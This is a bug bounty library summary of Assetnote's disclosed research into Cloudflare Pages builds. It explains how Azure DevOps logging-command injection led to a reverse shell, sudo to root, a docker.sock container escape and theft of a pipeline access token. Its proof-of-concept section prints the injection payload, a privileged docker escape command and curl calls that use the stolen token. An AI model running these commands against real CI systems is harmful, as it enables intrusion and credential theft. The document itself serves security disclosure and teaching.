# Cloudflare Pages, part 2: The two privescs

Azure DevOps Pipelines variable interpolation in Cloudflare Pages build config let attackers inject commands, escalate to root, escape the container via docker.sock, and steal Azure DevOps tokens.

- Payout: Research
- Severity: critical
- Program: Cloudflare
- Write-up by: Assetnote
- Disclosed: 2024-01-31
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/cloudflare-pages-part-2-the-two-privescs
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-cloudflare-pages-part-2-the-two-privescs
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:rce kind:research platform:research sev:critical tech:azure tech:ci-cd tech:docker technique:source-review vuln:command-injection vuln:privilege-escalation vuln:secrets-leak

**Target:** Cloudflare Pages CI build system (Azure DevOps Pipelines agent, Docker container)
**Root cause:** Cloudflare Pages interpolated user-controlled build settings into the Azure Pipelines YAML without sanitizing Azure DevOps logging-command/variable syntax, allowing injection of `##vso[task.setvariable]` to control `account_env`, which was then evaluated via `$()` in a bash command run as AzureDevOps with passwordless sudo.
**Steps:**
1. Observe process tree: node as PID 1 (container), sudo from AzureDevOps to buildbot indicating passwordless sudo.
2. Inject into build command: `echo '##vso[task.setvariable variable=account_env];bash /tmp/shell.sh;echo '`
3. Pipelines sets account_env to `;bash /tmp/shell.sh; echo`, which is evaluated in `$(account_env)` before sudo, executing reverse shell as AzureDevOps.
4. Use passwordless sudo to get root in container.
5. Find `/var/run/docker.sock` mounted; install docker; run `sudo docker run -ti --privileged --net=host -v /:/host -v /dev:/dev -v /run:/run ubuntu:latest` to escape to host root.
6. Read `SECRET_SYSTEM_ACCESSTOKEN` and query Azure DevOps API: `curl https://cloudflarepages@dev.azure.com/cloudflarepages/_apis/teams?api-version=6.0-preview.3 -H "Authorization: Bearer $SECRET_SYSTEM_ACCESSTOKEN" | jq`
**How found:** Read Azure DevOps Pipelines docs and noticed variables can be interpolated in YAML; hypothesized Cloudflare didn't sanitize build settings; tested by injecting `##vso[task.setvariable]` into build command. Process tree reading (node PID 1, sudo from AzureDevOps) suggested container and passwordless sudo.
**Exploitation:** Attacker controls build command in a Cloudflare Pages project; injected vso logging command sets account_env to a shell payload; `$()` substitution executes it as AzureDevOps before sudo; passwordless sudo yields container root; mounted docker.sock enables privileged container escape to host root; Azure DevOps system access token grants access to Cloudflare's Azure DevOps org, user lists, and all build history.
**Escalation:** Command injection as AzureDevOps -> passwordless sudo to container root -> docker.sock privileged container escape to host root -> Azure DevOps token theft granting org-wide access.
**Insight:** In CI systems, user-controlled build settings that get templated into pipeline YAML are a prime injection surface — Azure DevOps `##vso[task.setvariable]` logging commands let you set variables later evaluated via `$()` in privileged shell commands. Also check for mounted docker.sock and passwordless sudo in build containers.

## Proof of concept (copied exactly from the original report)

**Azure Pipelines variable injection in build command**

```
echo ok shell please
echo '##vso[task.setvariable variable=account_env];bash /tmp/shell.sh;echo '
```

**Privileged container escape command**

```
sudo docker run -ti --privileged --net=host -v /:/host -v /dev:/dev -v /run:/run ubuntu:latest
```

**Azure DevOps token API calls**

```
curl https://cloudflarepages@dev.azure.com/cloudflarepages/_apis/teams?api-version=6.0-preview.3 -H "Authorization: Bearer $SECRET_SYSTEM_ACCESSTOKEN" | jq`
curl https://cloudflarepages@dev.azure.com/cloudflarepages/_apis/projects/<uuid>/teams/<uuid>/members?api-version=6.0 -H "Authorization: Bearer $SECRET_SYSTEM_ACCESSTOKEN" | jq

With this, we were able to list all of Cloudflare’s users within this project:

We were also be able to access all Cloudflare pages build history for all users on Cloudflare pages -
curl https://cloudflarepages@dev.azure.com/cloudflarepages/Pages/_apis/pipelines/2/runs?api-version=6.0-preview.1 -H "Authorization: Bearer $SECRET_SYSTEM_ACCESSTOKEN" | jq
```

